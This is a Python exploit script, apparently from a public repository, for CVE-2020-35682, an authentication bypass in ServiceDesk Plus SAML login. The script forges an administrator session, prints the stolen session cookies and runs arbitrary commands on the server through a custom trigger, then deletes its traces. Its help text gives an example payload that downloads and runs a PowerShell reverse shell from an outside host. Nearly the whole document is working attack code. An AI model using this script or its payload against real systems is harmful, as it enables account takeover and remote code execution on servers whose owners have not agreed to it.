-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathexploit.py
99 lines (89 loc) · 7.8 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/python3
import requests, random, json, string, urllib3, urllib, argparse, re
from lxml import html
from urllib.parse import urlencode
#Disable SSL warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
session = requests.session()
proxies = {}
parser = argparse.ArgumentParser(description='CVE-2020-35682 : Authentication Bypass Vulnerability during SAML login in ServiceDesk Plus')
requiredNamed = parser.add_argument_group('required named arguments')
requiredNamed.add_argument('-u', '--url', help='ServiceDesk Plus installation url, eg. https://tenet.local/sdp', required=True)
requiredNamed.add_argument('-e', '--email', help='User E-mail for SAML Login, eg: [email protected]', required=True)
requiredNamed.add_argument('-p', '--password', help='User Password for SAML Login', required=True)
requiredNamed.add_argument('-d', '--domain', help='Domain, eg: TENET', required=True)
parser.add_argument('-x', '--payload', help='Payload to execute on target, eg: "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)"')
parser.add_argument('-a', '--adminusername', help='Admin Username, default: administrator', default='administrator')
args = parser.parse_args()
url = args.url
username = args.email
password = args.password
domain = args.domain
upayload = args.payload
adminusername = args.adminusername
#Get SamlRequestServlet uri, for some reason this breaks the script :(
#response = requests.get(url+'/scripts/Login.js', proxies=proxies, verify=False, allow_redirects=False)
#samlservlet = re.findall('loadSaml\(\)\n\{\n window\.location\.href="(.*?)";\n\}\n\n/\*',response.content.decode('utf-8'))[0]
response = session.get(url+"/SamlRequestServlet", proxies=proxies, verify=False, allow_redirects=False)
sdpsessionid = response.cookies['SDPSESSIONID']
adfslogin = response.headers['Location']+'&client-request-id=0'
payload = 'UserName={}&Password={}&AuthMethod=FormsAuthentication'.format(username,password)
response = session.post(adfslogin,data=payload, proxies=proxies, verify=False, allow_redirects=False)
if b'Incorrect' in response.content:
print('[-] Incorrect Username or Password supplied. Please try again with correct credentials.')
exit()
msisauthcookie = response.cookies['MSISAuth']
cookies = {'MSISAuth' : msisauthcookie}
response = session.get(adfslogin,cookies=cookies, proxies=proxies, verify=False, allow_redirects=False)
tree = html.fromstring(response.content)
samltoken = list(set(tree.xpath("//input[@name='SAMLResponse']/@value")))[0]
payload = {'SAMLResponse' : samltoken }
cookies = {'SDPSESSIONID': sdpsessionid}
response = session.post(url+'/SamlResponseServlet',data=payload, cookies=cookies, proxies=proxies, verify=False, allow_redirects=False)
#Sometimes the sdpsessionid is changed so we make sure we are using updated cookie
cookies = {'SDPSESSIONID': sdpsessionid}
response = session.get(url+'/j_security_check?j_username={}&domain={}&j_password=dummy'.format(adminusername,domain), cookies=cookies, proxies=proxies, verify=False, allow_redirects=False)
if b'Username or Password is incorrect' in response.content:
print('[-] Couldn\'t create session as {}, admin username or domain value incorrect.'.format(adminusername))
tree = html.fromstring(response.content)
dnames = list(set(tree.xpath("//select[@name='dname']/option")))
print('[+] Valid values for Domain Name:')
for _ in range(len(dnames)-1):
print('\t'+re.findall("<option value=\"\\d\"> (.*?) </option>", html.tostring(dnames[_]).decode("utf-8"))[0])
exit()
print('[+] Created session as {}.'.format(adminusername))
response = session.get(url+'/HomePage.do', cookies=cookies, proxies=proxies, verify=False, allow_redirects=False)
JSESSIONIDSSO = response.cookies['JSESSIONIDSSO']
PORTALID = response.cookies['PORTALID']
SDPSESSIONID = response.cookies['SDPSESSIONID']
cookies = {'JSESSIONIDSSO': JSESSIONIDSSO, 'PORTALID': PORTALID, 'SDPSESSIONID': SDPSESSIONID}
print('[+] Use following cookies to login as {}'.format(adminusername))
print ("\t{:<30} {:<30}".format('=[COOKIE NAME]=', '=[COOKIE VALUE]='))
for cookiename, cookievalue in cookies.items():
print ("\t{:<30} {:<30}".format(cookiename, cookievalue))
if args.payload is not None:
response = session.get(url+'/servlet/AJaxServlet?action=GetHeaderDetails', cookies=cookies, proxies=proxies, verify=False, allow_redirects=False)
sdpcsrfcookie = response.cookies['sdpcsrfcookie']
cookies = {'JSESSIONIDSSO': JSESSIONIDSSO, 'PORTALID': PORTALID, 'SDPSESSIONID': SDPSESSIONID, 'sdpcsrfcookie': sdpcsrfcookie}
headers = {"Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
actionname = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 16))
data = {"items": "{\"details\": [{\"name\": \""+actionname+"\", \"desc\": \"\", \"trigger\": \"1\", \"executiontime\": \"1\", \"cascade\": true}], \"criteria\": [{\"selcrit\": \"4\", \"selcon\": \"1\", \"comp\": \"and\", \"values\": \""+actionname+"\"}], \"action\": [{\"execute\": {\"exe_type\": \"script\", \"executor\": \""+upayload+"\"}, \"notification_details\": []}]}", "sdpcsrfparam": sdpcsrfcookie}
session.post(url+"/RequestExternalAction.do?method=saveAutoAction&module=request", headers=headers, cookies=cookies, data=data, proxies=proxies, verify=False, allow_redirects=False)
print('[+] Created custom trigger {}'.format(actionname))
data = {"onHoldSet1": '', "date1@@@1": '', "selectedStatus@@@1": '', "onHoldComments@@@1": '', "linkService": "null", "createServiceComment": "null", "linkWorkOrderId": "null", "requesterName_WO": "null", "reqChatType": "0", "requestChatId": '', "requestServiceId": '', "templateSite": '', "FROM": "INLINE", "field_override": "false", "deleteTasks": "true", "reqTemplate": "1", "deletePrevTempTasks": "null", "reqID": "1501", "reqName": "morty", "reqSearch": "1501", "requestType": "0", "status": "1", "modeID": "0", "level": "0", "group": "0", "technician": "0", "incidentService": "0", "emailCC": '', "priority": "0", "category": "0", "subCategory": "0", "item": "0", "title": actionname, "description": "<div><span class=\"colour\" style=\"color:rgb(85, 85, 85)\"><i><span class=\"font\" style=\"font-family:Roboto, arial\"><span class=\"size\" style=\"font-size:13px\">totally not malicious</span></span></i></span><br></div>", "MOD_IND": "WorkOrder", "FORMNAME": "WorkOrderForm", "resourcesInfo": '', "resourceModified": "false", "attachment": '', "resolution": '', "addWO": "addWO", "sdpcsrfparam": sdpcsrfcookie}
response = session.post(url+"/WorkOrder.do", headers=headers, cookies=cookies, data=data, proxies=proxies, verify=False, allow_redirects=False)
requestid = response.headers['Location'].split('&')[1].split('=')[1]
print('[+] Created Request to trigger custom action {}'.format(actionname))
print('[+] Executed "{}" on "{}"'.format(upayload, url))
#cleanup here
data = {"sdpcsrfparam": sdpcsrfcookie}
session.post("https://servicedesk.gigantichosting.local:443/WorkOrder.do?woRequestMode=deleteWO&woID="+requestid, headers=headers, cookies=cookies, data=data, proxies=proxies, verify=False, allow_redirects=False)
print('[+] Deleted Request {}'.format(actionname))
response = session.get("https://servicedesk.gigantichosting.local:443/RequestExternalAction.do?method=getAutoActionListView&module=request", headers=headers, cookies=cookies, proxies=proxies, verify=False, allow_redirects=False)
triggersdata = json.loads(response.content)
for _ in triggersdata['ACTIIONS']:
if _['ACTION_NAME'] == actionname:
actionid = _['ACTIONID']
break
session.post("https://servicedesk.gigantichosting.local:443/RequestExternalAction.do?method=deleteAutoAction&module=request&action_id="+str(actionid), headers=headers, cookies=cookies, data=data, proxies=proxies, verify=False, allow_redirects=False)
print('[+] Deleted Custom Action {}'.format(actionname))